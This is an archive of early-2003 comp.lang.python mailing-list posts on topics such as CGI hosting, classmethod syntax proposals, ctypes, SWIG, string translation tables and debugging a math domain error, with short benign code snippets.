If you have the disk space and you are allowed to install your own 
executables, you may be able to use mxCGIPython:
http://www.egenix.com/files/python/mxCGIPython.html
Basically, you upload a single-file Python interpreter into your local web 
space and run your CGI scripts against that interpreter.
 
> I wish python.org would give you the opportunity to test small, low
> bandwidth, CGI scripts for free.  It would help Python become more
> popular and it could be a showcase for good Python CGI programming,

That's not really the goal of python.org.  It sounds more like the mission 
of the Starship Python http://starship.python.net/.  

> with an annual competition for "best" CGI-based websites perhaps?  

Feel free to organize such a thing!

> About python web hosting:
> 
> http://www.python.org/cgi-bin/moinmoin/PythonHosting
> 
> See all those old Python version there?

It could be that the page simply hasn't been updated.  Ask them what version 
they are currently running.  If it's too old for your needs, see whether 
they'll upgrade.

---Tom




From peter at engcorp.com  Tue Jan  7 15:24:15 2003
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 07 Jan 2003 15:24:15 -0500
Subject: These are discouraging stats to Perlistas & Pythonistas...
References: <776e0325.0301070721.7405a312@posting.google.com> <VfDS9.4230$Fj2.2514015@news2.news.adelphia.net> <eYFS9.18484$xb.14542@nwrddc02.gnilink.net> <Xns92FC7DE6999C1ooheehoohahah@207.225.159.6>
Message-ID: <3E1B376F.DCEF3A7D@engcorp.com>

Eric McDaniel wrote:
> 
> > Robert Oschler wrote:
> >> I can't look at dice.com anymore, too depressing.  Some appx stats:
> >>
> >> Date    C++ jobs    Java jobs
> >>
> >> 3/2000    42000    31000
> >> 10/2003    2200    2800

> Hey, you think that's depressing? Try being an Intercal programmer.

So where do Intercal programmers COME FROM?

-Peter

;-)



From andrew-pythonlist at puzzling.org  Thu Jan 16 21:37:31 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Fri, 17 Jan 2003 13:37:31 +1100
Subject: Syntax modification idea: (classmethods, properties locking...)
In-Reply-To: <fuk70b.il3.ln@beastie.ix.netcom.com>
References: <b077d1$7ag@news.Informatik.Uni-Oldenburg.DE> <fuk70b.il3.ln@beastie.ix.netcom.com>
Message-ID: <20030117023731.GC3199@frobozz.local>

On Thu, Jan 16, 2003 at 05:06:23PM -0800, Dennis Lee Bieber wrote:
> Arne Koewing fed this fish to the penguins on Thursday 16 January 2003 
> 01:03 pm:
> 
> > 
> > why not extending the def statement?
> > 
> > class bar(object):
> >     def foo(class,arg1) is classmethod:
> >         pass
> >     def bar(arg1) is staticmethod:
> > pass
> 
>         I think I'd prefer just modifying the def keyword...
> 
>         defclass ...
>         defstatic ...
> 
> with plain def retaining the effect it has at present.

The problem is that classmethod and staticmethod are so special that they
require new keywords -- you can easily implement them in python (using
descriptors).  More importantly, you could easily implement other wrappers,
which ideally you could use just as easily.

Thus I quite like the idea of "def foo(...) is classmethod" (or perhaps 
"def foo(...) as classmethod"?).  If I implement a "synchronised" wrapper for
an otherwise thread-unsafe method (which would be quite straightforward),
I'd quite like to be able to write "def foo(...) is synchronised".

>         "is" already has meaning in the language when doing compares -- I'd 
> rather not overload it as a noise verb "def ... [is] classmethod:" 
> wouldn't change if one left out the "is".

Yeah, I appreciate your concern, but I don't think there's much risk of
confusing a function declaration with a comparison.  And the advantage of it
reading so clearly is worth it "def foo(...) is classmethod" can be read
out-loud as "define foo (with parameters ...), which is a classmethod".  

To my eyes it looks natural... my only concern is that it's *too* natural --
it's almost magical ;)

-Andrew.





From phr-n2003b at NOSPAMnightsong.com  Tue Jan 28 11:29:48 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 28 Jan 2003 08:29:48 -0800
Subject: New Python block cipher API, comments wanted
References: <7x3cneku24.fsf_-_@ruckus.brouhaha.com> <mailman.1043717821.19150.python-list@python.org> <7x3cnexbt1.fsf@ruckus.brouhaha.com> <yyyk7gpmhs4.fsf@adams.patriot.net>
Message-ID: <7xisw9grur.fsf@ruckus.brouhaha.com>

Nick Vargish <nav at adams.patriot.net> writes:
> > Note that the file I put up had a number of bugs; I've updated it
> > several times today.
> 
> When it comes to code that has to do cryptographic work, the above two
> statements are not comforting in combination.

The code doesn't have to do cryptographic work, it only has to
illustrate an API.  That's the main reason why I didn't test it a lot.

> Sorry if I come off like a smartass, but I've had some experience with
> security related software, and a rush to distribution is not a great
> development strategy.

It's not a "distribution".  It's not really even "software".  It's
code intended to be looked at, not used for real data.  It's too slow
to use in practice and the ciphers don't interoperate with anything
(that's part of the reason I had no test vectors to test against).
The purpose is to settle on an API before proceeding with a real
implementation.  But yeah, there were some types of testing I hadn't
thought of doing before first putting up the file.

The real release will, at minimum, pass all FIPS test vectors for DES
and AES.



From aleax at aleax.it  Fri Jan 31 05:00:52 2003
From: aleax at aleax.it (Alex Martelli)
Date: Fri, 31 Jan 2003 10:00:52 GMT
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu> <mailman.1043793662.28129.python-list@python.org> <CpFZ9.1212$wd2.100989@newsread2.prod.itd.earthlink.net> <gWOZ9.134330$AA2.5582397@news2.tin.it> <Y%1_9.3865$wd2.302595@newsread2.prod.itd.earthlink.net> <bK6_9.140709$AA2.5799087@news2.tin.it> <a2h_9.5383$Wu1.411649@newsread1.prod.itd.earthlink.net> <8bbd9ac3.0301302140.6938685c@posting.google.com>
Message-ID: <oPr_9.108013$0v.3123750@news1.tin.it>

Andy Freeman wrote:
   ...
> Which should I prefer - theory or practice?  Yes, theory can be better,

In theory, theory is preferable, but, in practice, I'd prefer practice.


Alex




From akjmicro at yahoo.com  Sat Jan 25 10:49:23 2003
From: akjmicro at yahoo.com (Aaron K. Johnson)
Date: Sat, 25 Jan 2003 09:49:23 -0600
Subject: December 2002 comp.lang.* stats
References: <b0tctd$9cn$1@bob.news.rcn.net> <mailman.1043502285.20597.python-list@python.org>
Message-ID: <b0ubqb$oiv$3@bob.news.rcn.net>

In message <mailman.1043502285.20597.python-list at python.org>, Skip Montanaro
wrote:
> 
>     Aaron> What you see below are pure and simple the number of unique
>     Aaron> posters to each comp.lang.whatever hierarchy in December 2002.
> 
> Is a "unique poster" a single person (e.g. skip at pobox.com) or a "unique
> post" (e.g. message-id <b0tctd$9cn$1 at bob.news.rcn.net>)?
> 
> Skip
> 

A person is what counts as a 'unique poster'. A message ID alone would not
measure the 'user base' factor "im interested in.

Spam is still a problem to consider. It's not perfect yet.......

Best,
Aaron.
 




From gduzan at bbn.com  Thu Jan 16 17:25:16 2003
From: gduzan at bbn.com (Gary Duzan)
Date: Thu, 16 Jan 2003 22:25:16 GMT
Subject: X#, a new Msft functional language similar to Lisp; Python prominently mentioned
References: <3E2364CC.7060604@earthlink.net> <v28gd3mca7099e@news.supernews.com>
Message-ID: <gjGV9.27$WD6.4286@paloalto-snr1.gtei.net>

In article <v28gd3mca7099e at news.supernews.com>,
John Roth <johnroth at ameritech.net> wrote:
>
>"Ron Stephens" <rdsteph at earthlink.net> wrote in message
>news:3E2364CC.7060604 at earthlink.net...
>>
>> Could Python's functional programming style be a good fit for XML
>data?
>> Could Python be extended to enhance such capabilities, if those
>> capabilities have any validity?
>
>Before thinking about this, I'd like to know what afficianados of real
>functional languages think of the idea. I don't know enough to figure
>if functional languages have a real benefit in the area, or whether it's
>all enthusiasm and too much caffine.

   If I seriously wanted to do lots of XML-centric programming,
I'd be looking at Water:

	http://www.waterlang.org/

I heard a presentation on it, and was rather impressed. You can
think of it as Common Lisp, but with <X>foo</X> (or <X>foo</> for
short) instead of (X "foo").

					Gary Duzan
					BBN Technologies
					A Verizon Company





From pyth at devel.trillke.net  Thu Jan 30 12:53:21 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Thu, 30 Jan 2003 18:53:21 +0100
Subject: Implicit lists
In-Reply-To: <200301301648.h0UGmTjL000999@ratthing-b246.strakt.com>; from lac@strakt.com on Thu, Jan 30, 2003 at 05:48:29PM +0100
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com> <6ob_9.104776$0v.3032021@news1.tin.it> <x7bs1y1txx.fsf@guru.mired.org> <mwm@mired.org> <200301301648.h0UGmTjL000999@ratthing-b246.strakt.com>
Message-ID: <20030130185321.V10804@prim.han.de>

Laura Creighton wrote:
> > Alex Martelli <aleax at aleax.it> writes:
> > 
> > > def iteron(something):
> > >     # string-like objects: treat as non-sequences
> > >     try: something+''
> > >     except TypeError: pass
> > >     else:
> > >         yield something
> > >         return
> > >     # other sequences
> > >     try:
> > >         for x in something: yield x
> > >     except TypeError:
> > >         yield something
> > 
> > I always thought that exceptions were expensive. Which makes me wonder
> > why you aren't using "isinstance(something, str)" for that first test.
> > 
> >         Thanks,
> >         <mike
> 
> > Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
> > Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.
> > -- 
> > http://mail.python.org/mailman/listinfo/python-list
> 
> So when I pass it a string-like object I have made, the code just works.

In fact, your class needs to provide a

       def __add__(self, arg): 

method which needs to accepts strings.  If you are a true sequence (tm)
then instead you are forbidden to accept strings.  This is too much 
non-obvious impliciteness IMHO.

I think it's safer to skip "iteration" with an explicit

    isinstance(arg, (str, unicode))

check.  It's also simpler to read and understand.

regards,

    holger




From theller at python.net  Wed Jan 29 12:01:37 2003
From: theller at python.net (Thomas Heller)
Date: 29 Jan 2003 18:01:37 +0100
Subject: Easiest way to include C libraries
References: <4378fa6f.0301211616.3b353722@posting.google.com> <3E2DEF9F.A8596B23@engcorp.com> <bs29tyi2.fsf@python.net> <3E2EA9EE.EB599DC6@engcorp.com> <slrnb3fc2g.gon.rmunn@localhost.localdomain> <3E37F963.2745DE9C@engcorp.com>
Message-ID: <hebrevpq.fsf@python.net>

Peter Hansen <peter at engcorp.com> writes:

> Robin Munn wrote:
> > 
> > > Thomas Heller wrote:
> > >> http://starship.python.net/crew/theller/ctypes.html
> > >
> > I recall a posting recently saying that ctypes development has been
> > moved to Sourceforge. You may want to bookmark
> > 
> >     http://sourceforge.net/projects/ctypes/
> > 
> > as well.
> 
> It might be a while before Google decides that's the best link to use,
> especially with the author posting it as the proper link.  ;-)
> 
> Actually, I just visited the sourceforge page, and clicked on "Home Page",
> and it leads back to the link Thomas posted, so I think it's probably
> safe to use it for now.
> 
> -Peter

Well, maybe the posting was unclear.  Sourceforge will host the CVS
repository and the mailing list, as well as bug tracker, feature requests
and the like.

The canonical home page, and the web pages also, will remain at

http://starship.python.net/crew/theller/ctypes.html.

and clicking the "Home Page" link on the SF page will bring you there.

Thomas



From martin at v.loewis.de  Wed Jan 22 05:33:06 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 22 Jan 2003 11:33:06 +0100
Subject: Unable to find solution to error:   ValueError: math domain error
References: <mailman.1043225924.19298.python-list@python.org>
Message-ID: <m38yxdeaot.fsf@mira.informatik.hu-berlin.de>

"Mark Cooke" <mcooke at technology.serco.com> writes:

> can someone, maybe a developer please explain what could be causing the
> error and
> (in plain exnglish ;), what the error means),as I'm just starting the learn
> python and I know someof the basics.

It is easy to explain what the error means: a mathematical function
gets an argument for which it is not defined. This happens, for
example, if you take the square root of a negative number.

Now, the question is why this is happening, as the only function calls
are math.exp(-0.5) and math.sqrt(2.0), which should not give domain
errors.

If you still get a domain error, it means there is a bug
somewhere. The bug could be in Mailman, in Python, the C library, the
C compiler, the operating system kernel, or the microprocessor.

As a starting point, you should try to see whether this happens
outside mailman as well. In an interactive interpreter, perform

from math import log as _log, exp as _exp, pi as _pi, e as _e
from math import sqrt as _sqrt, acos as _acos, cos as _cos, sin as _sin
NV_MAGICCONST = 4 * _exp(-0.5)/_sqrt(2.0)

If this still happens, try to find out which of the subexpressions is
causing the exception. Then analyse the problem with a C debugger
(this probably requires recompilation of Python).

If this doesn't happen stand-alone , try to find out what inside
mailman is causing it:
- don't run it as user mailman
- don't run it with -S
- see whether environment variables affect the behaviour

Kind regards,
Martin



From detlev at die-offenbachs.de  Thu Jan 23 14:29:18 2003
From: detlev at die-offenbachs.de (Detlev Offenbach)
Date: Thu, 23 Jan 2003 20:29:18 +0100
Subject: Debugging mixed Python and C++ -- possible?
References: <CFN376434482471181@news.mindspring.com> <mailman.1043286648.30904.python-list@python.org>
Message-ID: <eqfp0b-6r5.ln@majestix.gallien.de>

Mike Rovner wrote:

> "Carl Bevil" <carl_bevil at yahoo.com> wrote in message
> news:CFN376434482471181 at news.mindspring.com...
>>
>> In this situation, what do people here suggest?  The debugger will run
>> on
> a
>> Windows machine, but needs to debug Python code running on a device
> elsewhere
>> on the network.  I think it probably will have to be able to attach to
>> an already running process, and will have to deal with the interpreter
>> being embedded in another application.
> 
> I used WingIDE to remote debug Python code inside C app on Solaris from
> Windows.
> Worked just fine.
> 
>> Am I expecting too much?
> 
> Not at all ;)
> 

Eric3 should be able to do this as well.

Detlev
-- 
Detlev Offenbach
detlev at die-offenbachs.de



From mwh at python.net  Mon Jan 20 07:46:28 2003
From: mwh at python.net (Michael Hudson)
Date: Mon, 20 Jan 2003 12:46:28 GMT
Subject: [OT] Locating one's posts
References: <mailman.1042835072.24826.python-list@python.org> <7h3wul2l9d4.fsf@pc150.maths.bris.ac.uk> <k6dm2v8ahh40s2jenc9cvl761b9r65rt37@4ax.com>
Message-ID: <7h3znpwj8es.fsf@pc150.maths.bris.ac.uk>

Christos "TZOTZIOY" Georgiou <DLNXPEGFQVEB at spammotel.com> writes:

> On Sat, 18 Jan 2003 16:18:14 GMT, rumours say that Michael Hudson
> <mwh at python.net> might have written:
> 
> >Christos "TZOTZIOY" Georgiou
> 
> Thanks for using the nick too :), but it's not necessary.

Well, I wasn't sure of the spelling so I just copied & pasted from the
From: line.  So it would have been more work to take it out :)

Cheers,
M.

-- 
  Two things I learned for sure during a particularly intense acid
  trip in my own lost youth: (1) everything is a trivial special case
  of something else; and, (2) death is a bunch of blue spheres.
                                             -- Tim Peters, 1 May 1998



From martin at v.loewis.de  Sun Jan 26 09:11:06 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sun, 26 Jan 2003 15:11:06 +0100
Subject: Translation table to map Latin-1 to ASCII?
In-Reply-To: <2ll73v8a0gs4a7l9rfipp7srde4ta2e5tg@4ax.com>
References: <j8563v4r381meidikj14v1tjsobcfvijra@4ax.com> <c76ff6fc.0301252318.ecc7156@posting.google.com> <2ll73v8a0gs4a7l9rfipp7srde4ta2e5tg@4ax.com>
Message-ID: <3E33EC7A.9080900@v.loewis.de>

Rene Pijlman wrote:
> Sure, and I can also write it myself or get it from ht://Dig's
> source code. But I'm lazy and I was just hoping that someone
> would have a similar translation table for Python's
> string.translate lying around :-)

I feel that it takes more time to post a message to usenet than to 
actually write down the translation table. First, generate a string of 
all non-ASCII characters:

l = []
for i in range(160,256): l.append(chr(i))
print ''.join(l)

Then, edit it to contain only letters, in a text editor.
Finally, write a second line in the text editor, putting the unaccented 
character below the accented one, and you are done.

We are talking about sixty characters, total.

> I found the following solution in this group's archive on
> Google. If only I would understand how it works :-)

I suggest this is overkill. It uses the Unicode decomposition, dropping 
all combining characters from the decompositions. The test for "0" 
checks whether this is a canonical decomposition; compatibility 
decompositions start with "<".

Regards,
Martin




From Mongryong at sympatico.ca  Sun Jan 26 01:47:11 2003
From: Mongryong at sympatico.ca (Mongryong)
Date: 26 Jan 2003 01:47:11 -0500
Subject: Emacs has eaten my python tabs!!!
Message-ID: <1043563632.4966.71.camel@refugeeMedia>

Ok, I did some cut and paste from python source which had different
tabs.  In emacs it appears the tabs are in the right place but Python is
complaining about indentation errors.  I've tried changing the
tab-width/tab-stop in emacs but still no luck.







From spahievi at vega.bg  Thu Jan  2 13:15:39 2003
From: spahievi at vega.bg (Niki Spahiev)
Date: Thu, 2 Jan 2003 20:15:39 +0200
Subject: Multiple dispatch again
In-Reply-To: <WP+E+kKkXshd092yn@gnosis.cx>
References: <WP+E+kKkXshd092yn@gnosis.cx>
Message-ID: <5724434665.20030102201539@vega.bg>

1/2/2003, 9:01:42, David Mertz wrote:

DM> I've got to thinking about multimethods/multiple dispatch lately.  I
DM> wonder if Pythonistas have some futher opinions on the use of these.
DM> Actually, part of it is that I'd -really- like to better understand use
DM> cases for multiple dispatch.  As a trick, I can see it has a certain
DM> elegance, but little rock/paper/scissors toys are not, finally,
DM> compelling.

In CAD there is intersection multimetod - line/line, line/arc,
line/bezier ...

regards,
Niki Spahiev





From peter at engcorp.com  Tue Jan  7 10:44:22 2003
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 07 Jan 2003 10:44:22 -0500
Subject: os.remove & os.rmdir
References: <RmyS9.1309$V6.1827@news.indigo.ie> <3E1ADF0A.A5FBBBFD@engcorp.com> <3E1AE5E0.7030208@corvil.com>
Message-ID: <3E1AF5D6.B4E54DE0@engcorp.com>

Padraig Brady wrote:
> 
> >>    2. It removes the redundancy of 2 functions doing the same thing
> >>    3. Is saves you having to write code like:
> >>        If os.path.isdir(path):
> >>            os.rmdir(path)
> >>        else:
> >>            os.unlink(path)
> >
> >
> > Why would you write that code?  If you really wanted to remove
> > a directory and all directories under it, if there are any,
> > would you not write just "os.rmdir(path)" ?
> 
> Nope that only works for empty directories. Note I'm
> only talking about empty directories anyway.

Sorry, I got quite confused... I was picturing os.rmdir() as
having the shutil.rmtree() functionality, and you suggesting
that os.remove() should be doing the same...  no idea where I got that.

Next time I'll try to wake up a little more before posting... :-)

> As I said above that is not what I'm proposing. I just want
> the simple change to allow remove() to work on empty directories.
> Actually I don't see any backwards compatability probs at all.

Hmmm... might there not be code which uses os.remove() with the
assumption it is not going to remove anything which is an empty
directory?  Maybe this is just the reinterpretation of the direction
I was going, after correcting my confusion.  I suspect any change
to the behaviour of these functions could lead to a situation
where existing code behaves very badly.

-Peter



From clifford.wells at attbi.com  Wed Jan 15 01:42:18 2003
From: clifford.wells at attbi.com (Cliff Wells)
Date: 14 Jan 2003 22:42:18 -0800
Subject: [Fwd: Re: ConfigParser question]
In-Reply-To: <1042608870.20040.29.camel@orange.infosys.de>
References: <1042608870.20040.29.camel@orange.infosys.de>
Message-ID: <1042612938.3444.0.camel@x1-6-00-04-5a-64-c4-03>

On Tue, 2003-01-14 at 21:34, kim wrote:
> Hi, 
> 
> i think there is something wrong: 
> [dirs]
> recursive = /home/cmolina
> recursive = /etc
> recursive = /tmp/usr
> 
> shouldn't it be:
> 
> [dirs]
> recursive:/home/cmolina
> recursive:/etc
> recursive:/tmp/usr
> 
> i don't know if the other method works to, but i use the second one
> very often and it works.

Both are valid.

-- 
Cliff Wells <clifford.wells at attbi.com>





From hu.peress at mail.mcgill.ca  Sun Jan 26 20:06:09 2003
From: hu.peress at mail.mcgill.ca (Hunter Peress)
Date: 26 Jan 2003 17:06:09 -0800
Subject: patch for string.findall (why not, theres an re.findall)
Message-ID: <3e0037f4.0301261706.5df8c230@posting.google.com>

this finds all indices of a given substring in a string.
and yes, i already checked pydoc2.3 string

Heres code+unittests.

Im running this by the group for any extra input before i submit it to sf

#!/usr/bin/python
import sys,commands,os,re,string

def findall(sub,s):
    if s =='' or sub =='':
        return []

    ret=[]
    findval=0
    pos=0
    while findval != -1:
        findval = s.find(sub,pos)
        if findval != -1:
            ret.append(findval)
            pos = findval + len(sub)
    return ret 

if __name__ == '__main__':
    units = [
    'asdsad','l',
    'l','asdlsds',
    'l','lsdlsds',
    'l','lsdsds',
    'l','sdsds',
    'l','sdsdsl',
    'l','lsdsdsl',
    'l','lsdlsdsl',

    'l','l',
    'l','ll',
    'l','lll',

    'lo','llollol',
    'lo','llollolo',

    '','',
    '','asdasd',
    'asdsad',''
    ]
    for i in range(0,len(units),2):
        sub,s = units[i],units[i+1]
        print "'%s' in '%s':"%(sub,s)
        print findall(sub,s)
        print "-"*30
    
    print 'done'



From davecook at nowhere.net  Mon Jan 27 17:38:47 2003
From: davecook at nowhere.net (David M. Cook)
Date: Mon, 27 Jan 2003 22:38:47 GMT
Subject: Please Recommend a C compiler for use with Python.
References: <3E35513E.6D5CE8B5@lvcm.com>
Message-ID: <XxiZ9.28233$Vh.26202@news2.central.cox.net>

In article <3E35513E.6D5CE8B5 at lvcm.com>, zenguyuno at yahoo.com wrote:

> I'm a has-been programmer.  I used to be quite skilled at C, but I
> haven't used it for 7 years.  I don't even have a C compiler!  The only
> language I currently use is Python.  I want to extend Python by writing
> routines in C.  
> 
> I use a generic PC running Win 98.  What's a good, Easy-to-use and
> install, ANSI C compiler?  I might mention that I mainly want to extend
> Python by writing routines in C.  

You mean your OS didn't come with a compiler?!  Shocking!

I found this surfing around earlier today:

http://www.bloodshed.net/dev/devcpp.html

Dave Cook



From wyojustin at hotmail.com  Thu Jan  2 17:01:50 2003
From: wyojustin at hotmail.com (Justin Shaw)
Date: Thu, 2 Jan 2003 17:01:50 -0500
Subject: SWIG Extension/coersion question.
Message-ID: <qhqdnTl4aphMK4mjXTWcow@comcast.com>

I have a python class called Array that wraps some of SWIG's carray module.
When calling SWIG wrapped functions that call for double pointers, I'd like
my arrays to be able to cast them selves to double pointers.

An example will clarify:

Currently my code looks like this:

# ok.py
import wrapper
import carray

a = Array([1, 2, 3], 'double')
wrapper.func(a.getPtr())


I want it to look like this (no explicit call to getPtr()):

# better.py
import wrapper
import carray

a = Array([1, 2, 3], 'double')
wrapper.func(a)

Any way to do this?

Thanks,
Justin





From edream at tds.net  Sat Jan 11 16:40:53 2003
From: edream at tds.net (Edward K. Ream)
Date: Sat, 11 Jan 2003 21:40:53 GMT
Subject: [ann] Minimal Python project
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <mailman.1042257199.7572.python-list@python.org> <%0TT9.121156$Hs2.11453314@kent.svc.tds.net> <v208b839c0990d@news.supernews.com> <xJZT9.121193$Hs2.11495249@kent.svc.tds.net> <v210trgcq5gdf1@news.supernews.com>
Message-ID: <Fb0U9.122581$Hs2.11514845@kent.svc.tds.net>

> > If JIT's are so effective, why are the swing classes so slow?
>
> Think of how slow they'd be without the JIT compilers! After all,
> they're doing in Java what any sane package does in C with
> assembler assists.

I am _not_ denying that JIT's can speed up code!  I am raising doubts about
whether any JIT can produce results superior to hand-written C code.  The
two issues are completely different!

Edward
--------------------------------------------------------------------
Edward K. Ream   email:  edream at tds.net
Leo: Literate Editor with Outlines
Leo: http://personalpages.tds.net/~edream/front.html
--------------------------------------------------------------------





From gregtehrig at yahoo.fr  Thu Jan 23 13:37:48 2003
From: gregtehrig at yahoo.fr (Greg Tehrig)
Date: 23 Jan 2003 10:37:48 -0800
Subject: LCS for word ? or array intersection ?
Message-ID: <4c637994.0301231037.13113f5a@posting.google.com>

hi,

i've got a question for the guys from here, i think this might be done
by something like decorate/undecorate and LCS (Longest Common
Sequence) but  perhaps you had a better idea than mine.

for example :
s1 = """this is a line containing an example"""
s2 = """this is another sentence containing 12 words and it is another
example"""

and need following output:
["""this is""", """containing""", """example"""]
["""a line""", """an example"""]
["""another sentence""", """12 words and it is another"""]

my first idea is to decorate each word with its length, then use a LCS
algorithm (like in difflib) and then only keep sequences which are
decorate by their length, then process by substring completion.

but i'm not sure that's the obvious and most efficient way.

any suggestions are greatly welcome !

i was wondering if it could'nt be done by using some kind of array
operator like intersection and then substraction ?

regards.



From carl_bevil at yahoo.com  Wed Jan 15 23:15:50 2003
From: carl_bevil at yahoo.com (Carl Bevil)
Date: Wed, 15 Jan 2003 20:15:50 -0800
Subject: Mixing Python and C: any easy way?
Message-ID: <CFN376368443311343@news.mindspring.com>

Hey folks.  I'm on a small team of programmers developing a project over a 
period of several months.  We normally code in C++, but are thinking it would 
be nice to do part of the development in a scripting language such as Python.  
The nature of our application is still going to require that large chunks of 
the app still be done in C++.

So I've been looking into ways to easily interface the two languages.  The 
only thing I've turned up so far is SWIG.  Unfortunately it doesn't seem to be 
as automated as I'd like.  It appears that you have to create a special 
interface file for every C++ header you want to access from Python.  There may 
be many headers containing complicated objects in our project, and I 
anticipate creating interface files would be a lot of work, and would turn 
into a maintenance problem.  Maybe someone out there has been in a similar 
situation and can tell me whether this is a pain or fairly easy?

Thing is, I am hesitant to tell the other programmers on the team, "You have 
to learn a new language, which will make development faster, but you also have 
to create special SWIG files for every C++ header you want to access from this 
new language, and make sure you keep these files up to date with changes you 
make in your headers, etc....".  We have a tight schedule (who doesn't?), so 
I'm worried about efficiency.

Am I overreacting here?  And is there a better way to do this?  If not SWIG, 
then what can do this task?  Am I asking for the impossible?  I've heard that 
Python is supposed to be good at interfacing with C/C++.  Can someone give me 
some pointers that will help me out here?

Thanks!

Carl



From claird at lairds.com  Thu Jan 30 16:10:19 2003
From: claird at lairds.com (Cameron Laird)
Date: Thu, 30 Jan 2003 21:10:19 -0000
Subject: Help a C++ coder see the light
References: <memo.20030130181135.820C@a.radioscape.com> <mailman.1043956135.5480.python-list@python.org>
Message-ID: <v3j55r493bch3c@corp.supernews.com>

In article <mailman.1043956135.5480.python-list at python.org>,
Dave Brueck  <dave at pythonapocrypha.com> wrote:
			.
			.
			.
>In the cases where refactoring of those more public interfaces is
>necessary, then, yes, you do have to do a lot of work to check to make
>sure nothing gets broken, but it's certainly no more work than a similar
>change in a large C++ program (and that's why a lot more thought goes into
>designing those interfaces in the first place).
>
>-Dave
>

Folks have done a great job of following up in this thread.
I'll toss in the proposition that Python is *better* than
C++ for programming in the large.  Without time now to argue
the point, I'll just observe that big Python programs aren't
as big as their functional equivalents in C++.
-- 

Cameron Laird <Cameron at Lairds.com>
Business:  http://www.Phaseit.net
Personal:  http://phaseit.net/claird/home.html



From tjreedy at udel.edu  Tue Jan  7 17:46:53 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Tue, 7 Jan 2003 17:46:53 -0500
Subject: "%s" vs unicode
References: <1GtMGLAYnyG+Ew34@jessikat.demon.co.uk>
Message-ID: <U7CcndiRJf8SxYajXTWc2Q@comcast.com>

"Robin Becker" <robin at jessikat.fsnet.co.uk> wrote in message
news:1GtMGLAYnyG+Ew34 at jessikat.demon.co.uk...
> A user reports that an old style error message is being smashed as
the
> message was being turned into unicode.
>
> the situation was of the form
>
> raise "xxxx %s' % var
>
> where var was a lump of unicode. We can easily correct the
sistuation.
>
> We didn't expect unicode, but what's surprising is that "%s" %
u'A' -->
> u'A'.

u'1234' works just as well, with a corresponding output.

>Doesn't %s mean take the str()?  I looked in vain in the docs
> for the definition of exactly what "%s" % x is supposed to mean,

 The doc (LibRef 2.2.6.2 String Formatting Operations) is slightly
contradictory.  In the table for % it does say

s String (converts any python object using str()).

but the first paragraph ends with "If format is a Unicode object, or
if any of the objects being converted using the %s conversion are
Unicode objects, the result will be a Unicode object as well. "  I
reported this as SF bug 664044.

Your user's problem appear to arise from the unicode result.

>>> raise u'a'
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
TypeError: exceptions must be strings, classes, or instances, not
unicode

Terry J. Reedy





From pinard at iro.umontreal.ca  Sat Jan  4 10:46:38 2003
From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois_Pinard?=)
Date: 04 Jan 2003 10:46:38 -0500
Subject: spark anyone?
In-Reply-To: <e34e8ce6.0301040212.7506b9a6@posting.google.com>
References: <e34e8ce6.0301040212.7506b9a6@posting.google.com>
Message-ID: <oqr8bsex41.fsf@titan.progiciels-bpi.ca>

[Domenico]

> Does anybody know anything about the fate of the SPARK parsing module?
> Has its development been discontinued?

I do not know that its development has been discontinued.  What makes you
think so?  The absence of weekly releases? :-)

Generally speaking, many packages are pretty usable as they stand, and do
not need to be re-published periodically.  At least, in my opinion!

-- 
Fran?ois Pinard   http://www.iro.umontreal.ca/~pinard




From eladioventura at hotmail.com  Sun Jan  5 13:40:33 2003
From: eladioventura at hotmail.com (Eladio Ventura)
Date: Sun, 5 Jan 2003 18:40:33 +0000
Subject: Regex Error Handling?!
In-Reply-To: <glYR9.4677$LY2.268627@newsc.telia.net>
References: <mailman.1041772808.12185.python-list@python.org> <glYR9.4677$LY2.268627@newsc.telia.net>
Message-ID: <20030105184033.GA18689@hotmail.com>

* Fredrik Lundh <fredrik at pythonware.com> [030105 15:39]:
> Eladio Ventura wrote:
> 
> re.search returns a match object if the pattern matches, or None
> if it doesn't match.  the "if" statement treats match objects as true
> values, so you can use "if" right away to check for matches:
> 
> for line in lines:
>     match = regex.search(line)
>     if match:
>         matches.append(match.group(part))
>     else:
>         print "We got a mismatched line!"

Thanks a lot Frederik! That's exactly what I was looking for.:0)
-- 
"Thinking gives you wrinkles!"
Malibu Stacy, the Simpsons




From max at alcyone.com  Mon Jan 13 00:15:03 2003
From: max at alcyone.com (Erik Max Francis)
Date: Sun, 12 Jan 2003 21:15:03 -0800
Subject: Strange urllib and httplib problem
References: <mailman.1042432944.17926.python-list@python.org>
Message-ID: <3E224B57.207A7369@alcyone.com>

Jesse Lawrence wrote:

> I'm trying to code something with either urllib or
> httplib.  No matter what I try, when I run my scripts,
> it  says the following:
> 
> Enter an address:
> 
> Just to try it, I enter an address, and then I get an
> error message telling my that it can't import name
> urlsplit.

Sample code?  Hard to say what's wrong without actually seeing the code
you're using and the site you're trying to poke with it.

The only thing that barely rings a bell is that the urllib.URLOpener
classes by default prompt you for HTTP authentication, but I've never
seen the prompt myself so can't tell you if that's what's going on here.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ All the gods are dead except the god of war.
\__/ Leroy Eldridge Cleaver
    Bosskey.net: Aliens vs. Predator 2 / http://www.bosskey.net/avp2/
 A personal guide to Aliens vs. Predator 2.



From altis at semi-retired.com  Wed Jan  8 23:00:36 2003
From: altis at semi-retired.com (Kevin Altis)
Date: Wed, 8 Jan 2003 20:00:36 -0800
Subject: GUI speed
References: <mailman.1042070716.17019.python-list@python.org>
Message-ID: <7t6T9.148$771.86678@news.uswest.net>

